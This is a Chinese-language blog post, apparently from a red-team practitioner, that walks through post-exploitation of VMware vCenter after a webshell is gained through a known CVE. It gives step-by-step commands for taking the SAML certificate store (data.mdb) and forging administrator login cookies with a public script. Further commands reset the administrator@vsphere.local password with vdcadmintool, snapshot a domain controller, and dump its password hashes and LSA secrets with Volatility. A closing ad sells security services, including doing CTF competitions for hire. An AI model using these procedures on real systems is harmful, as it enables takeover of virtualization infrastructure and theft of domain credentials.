0x01 前言在稍微体量较大的攻防演练中,常会遇到vCenter,那么利用nday或者1day拿到了shell之后我们又该如何深入利用呢?因为对于vCenter这类集群系统,获取该类系统的shell没办法把危害最大化。恰好我也在实战环境中遇到了vCenter,于是在这里做个总结。
0x02 SAML 证书VMware vCenter 提供自己的 SSO 服务,以便用户可以对所有 VMware 服务使用一组凭据。VMware Directory (vmdir) 服务主要负责 vCenter SSO 服务并存储关键身份验证信息,例如本地 vCenter 用户名和密码哈希以及 SAML 证书。
相对应的vCenter中的 data.mdb 包含证书,可以在 vCenter 备份中以及具有 root 权限的 VCSA 主机上找到。这些证书以明文形式存储,可用于为任何用户(包括内置管理员)签署任何 SAML 身份验证请求。
- # Linux:
- /storage/db/vmware-vmdir/data.mdb
- # Windows:
- C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb
复制代码
除了以上这些路径可以获取data.mdb文件之外,我们也可以通过vCenter的备份文件当中找到data.mdb文件。vCenter备份内有一个名为lotus_backup.tar.gz 的存档,这里通常存放着我们需要的data.mdb文件。
当我们通过nday拿到了一个Vcenter的shell之后就可以在对应的系统的文件夹里找到相对应的文件。在这里我通过CVE-2022-22005拿到了一个webshell,并且权限为root。这时候我们可以使用路径 /storage/db/vmware-vmdir/ 去找到我们的data.mdb文件。
我们将它下载下来,并且开始利用脚本工具
- https://github.com/horizon3ai/vcenter_saml_login
- # python3 vcenter_saml_login.py -t 10.102.255.62 -p data.mdb
复制代码
这里我们拿到cookie之后可以开始写入cookie并且登录vCenter。
将Cookie写入后,设置Path路径为/ui后,直接访问,即可成功登录。
0x03 重置Administrator密码这是一个危险性较大的一个操作,并且容易被管理员所发现,但是确实是实战当中最方便的一种方法。
我们通过nday拿到的webshell,在冰蝎启动一个虚拟终端。
在重置密码之前我们需要知道它的域,为了在之后重置密码成功后登录vCenter。
- /usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost
复制代码
得到域为vsphere.local,我们直接开始重置密码。
- #Linux
- /usr/lib/vmware-vmdir/bin/vdcadmintool
- #Windows
- C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe
复制代码如果直接使用冰蝎的命令执行功能是无法成功的,我们需要启动一个虚拟终端,进行交互。
我们在这里直接选择3,并且输入administrator以及我们刚才得到的域:vsphere.local。输入 administrator@vsphere.local 之后就会重置密码并且给你一个新的密码。
ps:由于我目前的操作环境为实际的业务环节,不方便演示。
这个时候我们就可以拿新的密码访问Vcenter并成功登录
0x04 DC Hash这里我是推荐直接快照的方法。
直接Take Snapshot然后等待快照的完成后点击Datastores。
直接点击KM-RHDC01-Snapshot232.vmem并把它下载下来,有点大。
- # Volatility2.6内存取证工具
- https://github.com/volatilityfoundation/volatility
- volatility_2.6_win64_standalone.exe -f KM-RHDC01-Snapshot232.vmem imageinfo
- volatility_2.6_win64_standalone.exe -f KM-RHDC01-Snapshot232.vmem --profile=Win8SP0x64 hashdump
- volatility_2.6_win64_standalone.exe -f KM-RHDC01-Snapshot232.vmem --profile=Win8SP0x64 lsadump
复制代码
0x05 结尾这个我没写全,但基于常规的攻防演练当中这些是必不可少的基础操作。这篇文章也是基于实战所常用的基础向关于vCenter后渗透的操作。
承接红蓝对抗、安全众测、安全培训、CTF代打、CTF培训、代码审计、渗透测试、应急响应 等等的安全项目,请联系下方微信。